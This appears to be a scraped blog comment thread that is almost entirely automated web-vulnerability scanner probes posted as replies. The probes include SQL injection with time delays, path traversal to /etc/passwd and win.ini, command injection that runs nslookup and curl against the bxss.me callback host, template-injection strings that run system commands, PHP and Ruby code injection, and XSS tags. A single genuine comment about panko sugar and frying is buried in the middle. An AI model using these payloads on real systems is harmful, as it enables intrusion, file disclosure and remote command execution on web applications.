.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: JJ
WEB-INF/web.xml
re: JJ
WEB-INF\web.xml
re: JJ
1
re: JJ
1
re: JJ
-1 OR 2+79-79-1=0+0+0+1 --
re: JJ
-1 OR 3+79-79-1=0+0+0+1 --
re: JJ
-1 OR 2+439-439-1=0+0+0+1
re: JJ
-1 OR 3+439-439-1=0+0+0+1
re: JJ
-1' OR 2+417-417-1=0+0+0+1 --
re: JJ
-1' OR 3+417-417-1=0+0+0+1 --
re: JJ
-1' OR 2+482-482-1=0+0+0+1 or 'YmVeQuSI'='
re: JJ
-1' OR 3+482-482-1=0+0+0+1 or 'YmVeQuSI'='
re: JJ
-1" OR 2+609-609-1=0+0+0+1 --
re: JJ
-1" OR 3+609-609-1=0+0+0+1 --
re: JJ
if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
1 waitfor delay '0:0:15' --
re: JJ
3Yn7F3ga'; waitfor delay '0:0:15' --
re: JJ
-5 OR 836=(SELECT 836 FROM PG_SLEEP(15))--
re: JJ
-5) OR 381=(SELECT 381 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 666=(SELECT 666 FROM PG_SLEEP(15))--
re: JJ
IuFhlzEt' OR 68=(SELECT 68 FROM PG_SLEEP(15))--
re: JJ
2Laau9gw') OR 939=(SELECT 939 FROM PG_SLEEP(15))--
re: JJ
dN4emDja')) OR 142=(SELECT 142 FROM PG_SLEEP(15))--
re: JJ
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
1'"
re: JJ
@@eG4UI
re: JJ
1
re: JJ
1
re: JJ
1
re: JJ
1KGSNXK2L0
re: JJ
response.write(9643281*9629774)
re: JJ
'+response.write(9643281*9629774)+'
re: JJ
"+response.write(9643281*9629774)+"
re: JJ
../../../../../../../../../../../../../../etc/passwd
re: JJ
<esi:include src="http://bxss.me/rpb.png"/>
re: JJ
../../../../../../../../../../../../../../windows/win.ini
re: JJ
file:///etc/passwd
re: JJ
${9999798+10000446}
re: JJ
../
re: JJ
)
re: JJ
redirtest.acx
re: JJ
!(()&&!|*|*|
re: JJ
^(#$!@#$)(()))******
re: JJ
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: JJ
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: JJ
echo utgian$()\ iebbjn\nz^xyu||a #' &echo utgian$()\ iebbjn\nz^xyu||a #|" &echo utgian$()\ iebbjn\nz^xyu||a #
re: JJ
/etc/shells
re: JJ
'.gethostbyname(lc('hituh'.'kgdskdoa280b6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(73).chr(114).chr(85).'
re: JJ
&echo yoxlwo$()\ sumeim\nz^xyu||a #' &echo yoxlwo$()\ sumeim\nz^xyu||a #|" &echo yoxlwo$()\ sumeim\nz^xyu||a #
re: JJ
../../../../../../../../../../../../../../etc/shells
re: JJ
".gethostbyname(lc("hitdx"."fikbulbx19324.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(86).chr(113).chr(76)."
re: JJ
|echo ueghod$()\ cxwmck\nz^xyu||a #' |echo ueghod$()\ cxwmck\nz^xyu||a #|" |echo ueghod$()\ cxwmck\nz^xyu||a #
re: JJ
c:/windows/win.ini
re: JJ
expr 9000670299 - 910924
re: JJ
bxss.me
re: JJ
gethostbyname(lc('hitnm'.'qlzaeymv64ecc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(79).chr(110).chr(69)
re: JJ
(nslookup -q=cname hittyquyqxwul1c55a.bxss.me||curl hittyquyqxwul1c55a.bxss.me))
re: JJ
Http://bxss.me/t/fit.txt
re: JJ
$(nslookup -q=cname hittlacygclujc0079.bxss.me||curl hittlacygclujc0079.bxss.me)
re: JJ
http://bxss.me/t/fit.txt?.jpg
re: JJ
&nslookup -q=cname hitsevjqsjixyc369a.bxss.me&'\"`0&nslookup -q=cname hitsevjqsjixyc369a.bxss.me&`'
re: JJ
&(nslookup -q=cname hitwrwozhxhgl99105.bxss.me||curl hitwrwozhxhgl99105.bxss.me)&'\"`0&(nslookup -q=cname hitwrwozhxhgl99105.bxss.me||curl hitwrwozhxhgl99105.bxss.me)&`'
re: JJ
ctime
sleep
p0
(I30
tp1
Rp2
.
re: JJ
|(nslookup -q=cname hitwwjvrjpnzdf74ea.bxss.me||curl hitwwjvrjpnzdf74ea.bxss.me)
re: JJ
'"()
re: JJ
`(nslookup -q=cname hitsrzeppypmu776a1.bxss.me||curl hitsrzeppypmu776a1.bxss.me)`
re: JJ
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: JJ
'&&sleep(27*1000)*xvvcxk&&'
re: JJ
;(nslookup -q=cname hitstvodgyoxj80074.bxss.me||curl hitstvodgyoxj80074.bxss.me)|(nslookup -q=cname hitstvodgyoxj80074.bxss.me||curl hitstvodgyoxj80074.bxss.me)&(nslookup -q=cname hitstvodgyoxj80074.bxss.me||curl hitstvodgyoxj80074.bxss.me)
re: JJ
';print(md5(31337));$a='
re: JJ
"&&sleep(27*1000)*tcnulb&&"
re: JJ
|(nslookup${IFS}-q${IFS}cname${IFS}hitqjwbwzmtkr4269a.bxss.me||curl${IFS}hitqjwbwzmtkr4269a.bxss.me)
re: JJ
";print(md5(31337));$a="
re: JJ
'||sleep(27*1000)*ucjtwc||'
re: JJ
&(nslookup${IFS}-q${IFS}cname${IFS}hitnukevgzdah5ce74.bxss.me||curl${IFS}hitnukevgzdah5ce74.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitnukevgzdah5ce74.bxss.me||curl${IFS}hitnukevgzdah5ce74.bxss.me)&`'
re: JJ
${@print(md5(31337))}
re: JJ
"||sleep(27*1000)*gdgxke||"
re: JJ
${@print(md5(31337))}\
re: JJ
'.print(md5(31337)).'
re: JJ
HttP://bxss.me/t/xss.html?%00
re: JJ
bxss.me/t/xss.html?%00
re: JJ
"+"A".concat(70-3).concat(22*4).concat(121).concat(83).concat(110).concat(71)+(require"socket"
Socket.gethostbyname("hitnr"+"gmnmvwsa28225.bxss.me.")[3].to_s)+"
re: JJ
'+'A'.concat(70-3).concat(22*4).concat(100).concat(89).concat(99).concat(84)+(require'socket'
Socket.gethostbyname('hitus'+'ytxdqlwa384e9.bxss.me.')[3].to_s)+'
re: JJ
'A'.concat(70-3).concat(22*4).concat(109).concat(67).concat(104).concat(89)+(require'socket'
Socket.gethostbyname('hitwa'+'niinbsvd811ad.bxss.me.')[3].to_s)
re: JJ
replies
re: JJ
'"
re: JJ
replies
re: JJ
<!--
re: JJ
replies/.
re: JJ
'"()&%<zzz><ScRiPt >qSZv(9692)</ScRiPt>
re: JJ
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitrnjtqrbuscc3459.bxss.me")}}
re: JJ
'"()&%<zzz><ScRiPt >qSZv(9072)</ScRiPt>
re: JJ
9294547
re: JJ
FTANQ12W
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
-1 OR 5*5=25 --
re: JJ
-1 OR 5*5=26 --
re: JJ
-1 OR 5*5=25
re: JJ
-1 OR 5*5=26
re: JJ
*if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
-1 waitfor delay '0:0:15' --
re: JJ
is8MJd1p'; waitfor delay '0:0:15' --
re: JJ
-1 OR 706=(SELECT 706 FROM PG_SLEEP(15))--
re: JJ
-1) OR 472=(SELECT 472 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 938=(SELECT 938 FROM PG_SLEEP(15))--
re: JJ
bRdkdyq9' OR 824=(SELECT 824 FROM PG_SLEEP(15))--
re: JJ
duSJUBYz') OR 605=(SELECT 605 FROM PG_SLEEP(15))--
re: JJ
TODcF9UI')) OR 201=(SELECT 201 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
'"
re: JJ
@@fbHGh
re: JJ
(select 198766*667891)
re: JJ
(select 198766*667891 from DUAL)
re: JJ
Ai5SSsXy
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
-1 OR 5*5=25 --
re: JJ
-1 OR 5*5=26 --
re: JJ
-1 OR 5*5=25
re: JJ
-1 OR 5*5=26
re: JJ
*if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
-1 waitfor delay '0:0:15' --
re: JJ
G5BZHBZ6'; waitfor delay '0:0:15' --
re: JJ
-1 OR 776=(SELECT 776 FROM PG_SLEEP(15))--
re: JJ
-1) OR 887=(SELECT 887 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 538=(SELECT 538 FROM PG_SLEEP(15))--
re: JJ
ZUWVVVev' OR 934=(SELECT 934 FROM PG_SLEEP(15))--
re: JJ
e0O49Y4E') OR 407=(SELECT 407 FROM PG_SLEEP(15))--
re: JJ
M4gvAOQ3')) OR 227=(SELECT 227 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
'"
re: JJ
@@lOpcr
re: JJ
(select 198766*667891)
re: JJ
(select 198766*667891 from DUAL)
re: JJ
WqvvEGk6
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
-1 OR 5*5=25 --
re: JJ
-1 OR 5*5=26 --
re: JJ
-1 OR 5*5=25
re: JJ
-1 OR 5*5=26
re: JJ
*if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
-1 waitfor delay '0:0:15' --
re: JJ
lvdcOGdt'; waitfor delay '0:0:15' --
re: JJ
-1 OR 412=(SELECT 412 FROM PG_SLEEP(15))--
re: JJ
-1) OR 592=(SELECT 592 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 198=(SELECT 198 FROM PG_SLEEP(15))--
re: JJ
nxeVoExv' OR 653=(SELECT 653 FROM PG_SLEEP(15))--
re: JJ
EMqYnUq9') OR 897=(SELECT 897 FROM PG_SLEEP(15))--
re: JJ
c85cHe8U')) OR 612=(SELECT 612 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
'"
re: JJ
@@W9bN9
re: JJ
(select 198766*667891)
re: JJ
(select 198766*667891 from DUAL)
re: JJ
VBiqtjAu
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
-1 OR 2+534-534-1=0+0+0+1
re: JJ
-1 OR 3+534-534-1=0+0+0+1
re: JJ
if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
1 waitfor delay '0:0:15' --
re: JJ
UF5O37yM'; waitfor delay '0:0:15' --
re: JJ
-5 OR 671=(SELECT 671 FROM PG_SLEEP(15))--
re: JJ
-5) OR 582=(SELECT 582 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 383=(SELECT 383 FROM PG_SLEEP(15))--
re: JJ
YKNff7T8' OR 123=(SELECT 123 FROM PG_SLEEP(15))--
re: JJ
klzHUj5T') OR 58=(SELECT 58 FROM PG_SLEEP(15))--
re: JJ
BFCfvi1l')) OR 650=(SELECT 650 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
1'"
re: JJ
@@MqQiK
re: JJ
ZJNpwv7z
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
-1 OR 5*5=25 --
re: JJ
-1 OR 5*5=26 --
re: JJ
-1 OR 5*5=25
re: JJ
-1 OR 5*5=26
re: JJ
*if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
-1 waitfor delay '0:0:15' --
re: JJ
ZqD9a4vM'; waitfor delay '0:0:15' --
re: JJ
-1 OR 85=(SELECT 85 FROM PG_SLEEP(15))--
re: JJ
-1) OR 293=(SELECT 293 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 651=(SELECT 651 FROM PG_SLEEP(15))--
re: JJ
l2gdY1VF' OR 15=(SELECT 15 FROM PG_SLEEP(15))--
re: JJ
vnxoUvMM') OR 341=(SELECT 341 FROM PG_SLEEP(15))--
re: JJ
Xp4QgeJy')) OR 102=(SELECT 102 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
'"
re: JJ
@@AA87N
re: JJ
(select 198766*667891)
re: JJ
(select 198766*667891 from DUAL)
Just on Keita, the frying is the same (both are low temp fried in a big copper pot before transferring into hotter oil to finish) but the panko itself is different. The darker one just has more sugar in the panko.
Apparently the extra sugar in the panko that browns goes better with one of the pork breeds, while the low sugar panko goes better with the other.
The low temp fry on both means they both come out juicy and tender though.
re: Eric Yu
ysxTsTSu
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+423-423-1=0+0+0+1
re: Eric Yu
-1 OR 3+423-423-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
ZqRJ3tmW'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 249=(SELECT 249 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 352=(SELECT 352 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 203=(SELECT 203 FROM PG_SLEEP(15))--
re: Eric Yu
hnikZ6Fd' OR 542=(SELECT 542 FROM PG_SLEEP(15))--
re: Eric Yu
E4NGmaA2') OR 93=(SELECT 93 FROM PG_SLEEP(15))--
re: Eric Yu
vBePt16b')) OR 473=(SELECT 473 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@1QZrL
re: Eric Yu
XMj96ENW
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+844-844-1=0+0+0+1
re: Eric Yu
-1 OR 3+844-844-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
HyZ1rUxJ'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 716=(SELECT 716 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 750=(SELECT 750 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 201=(SELECT 201 FROM PG_SLEEP(15))--
re: Eric Yu
ExEvr0On' OR 989=(SELECT 989 FROM PG_SLEEP(15))--
re: Eric Yu
3scanLjA') OR 737=(SELECT 737 FROM PG_SLEEP(15))--
re: Eric Yu
FNwOo839')) OR 987=(SELECT 987 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@m9oIL
re: Eric Yu
1kgenGTCO
re: Eric Yu
response.write(9669157*9519684)
re: Eric Yu
'+response.write(9669157*9519684)+'
re: Eric Yu
"+response.write(9669157*9519684)+"
re: Eric Yu
%0abcc:074625.67-10150.67.88c5e.19990.2@bxss.me
re: Eric Yu
to@example.com>%0d%0abcc:074625.67-10151.67.88c5e.19990.2@bxss.me
re: Eric Yu
../../../../../../../../../../../../../../etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../windows/win.ini
re: Eric Yu
file:///etc/passwd
re: Eric Yu
<esi:include src="http://bxss.me/rpb.png"/>
re: Eric Yu
../../../../../../../../../../../../../../../proc/version
re: Eric Yu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Eric Yu
../../../../../../../../../../etc/passwd%00.jpg
re: Eric Yu
${10000379+9999167}
re: Eric Yu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Eric Yu
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Eric Yu
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Eric Yu
/etc/passwd
re: Eric Yu
echo lytjjf$()\ zmwrba\nz^xyu||a #' &echo lytjjf$()\ zmwrba\nz^xyu||a #|" &echo lytjjf$()\ zmwrba\nz^xyu||a #
re: Eric Yu
%2fetc%2fpasswd
re: Eric Yu
&echo slokut$()\ ldrdak\nz^xyu||a #' &echo slokut$()\ ldrdak\nz^xyu||a #|" &echo slokut$()\ ldrdak\nz^xyu||a #
re: Eric Yu
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Eric Yu
|echo cdswjj$()\ iolmwx\nz^xyu||a #' |echo cdswjj$()\ iolmwx\nz^xyu||a #|" |echo cdswjj$()\ iolmwx\nz^xyu||a #
re: Eric Yu
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Eric Yu
)
re: Eric Yu
(nslookup hitqljskrvtai05627.bxss.me||perl -e "gethostbyname('hitqljskrvtai05627.bxss.me')")
re: Eric Yu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Eric Yu
!(()&&!|*|*|
re: Eric Yu
$(nslookup hitbdlohnwufvcb678.bxss.me||perl -e "gethostbyname('hitbdlohnwufvcb678.bxss.me')")
re: Eric Yu
^(#$!@#$)(()))******
re: Eric Yu
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Eric Yu
&nslookup hitsjsmkzgdkqde91c.bxss.me&'\"`0&nslookup hitsjsmkzgdkqde91c.bxss.me&`'
re: Eric Yu
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Eric Yu
&(nslookup hitecdkskznqsb74bc.bxss.me||perl -e "gethostbyname('hitecdkskznqsb74bc.bxss.me')")&'\"`0&(nslookup hitecdkskznqsb74bc.bxss.me||perl -e "gethostbyname('hitecdkskznqsb74bc.bxss.me')")&`'
re: Eric Yu
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Eric Yu
|(nslookup hithizpalghuq8820d.bxss.me||perl -e "gethostbyname('hithizpalghuq8820d.bxss.me')")
re: Eric Yu
file:///etc/passwd
re: Eric Yu
`(nslookup hitfamxvuhvauecf9b.bxss.me||perl -e "gethostbyname('hitfamxvuhvauecf9b.bxss.me')")`
re: Eric Yu
/\../\../\../\../\../\../\../etc/passwd
re: Eric Yu
;(nslookup hitqqorxpwowk7a516.bxss.me||perl -e "gethostbyname('hitqqorxpwowk7a516.bxss.me')")|(nslookup hitqqorxpwowk7a516.bxss.me||perl -e "gethostbyname('hitqqorxpwowk7a516.bxss.me')")&(nslookup hitqqorxpwowk7a516.bxss.me||perl -e "gethostbyname('hitqqorxpwowk7a516.bxss.me')")
re: Eric Yu
/WEB-INF/web.xml
re: Eric Yu
C:\WINDOWS\system32\drivers\etc\hosts
re: Eric Yu
../../../../../../../../../../windows/win.ini%00.jpg
re: Eric Yu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Eric Yu
/../../../../../../../../../../boot.ini
re: Eric Yu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Eric Yu
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Eric Yu
Http://bxss.me/t/fit.txt
re: Eric Yu
'.gethostbyname(lc('hitsl'.'osybonsz41ff2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(66).chr(117).chr(68).'
re: Eric Yu
..\..\..\..\..\..\..\..\windows\win.ini
re: Eric Yu
http://bxss.me/t/fit.txt%3F.jpg
re: Eric Yu
".gethostbyname(lc("hitxm"."xukhlczd84f73.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(85).chr(122).chr(65)."
re: Eric Yu
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Eric Yu
/etc/shells
re: Eric Yu
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Eric Yu
c:/windows/win.ini
re: Eric Yu
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Eric Yu
bxss.me
re: Eric Yu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Eric Yu
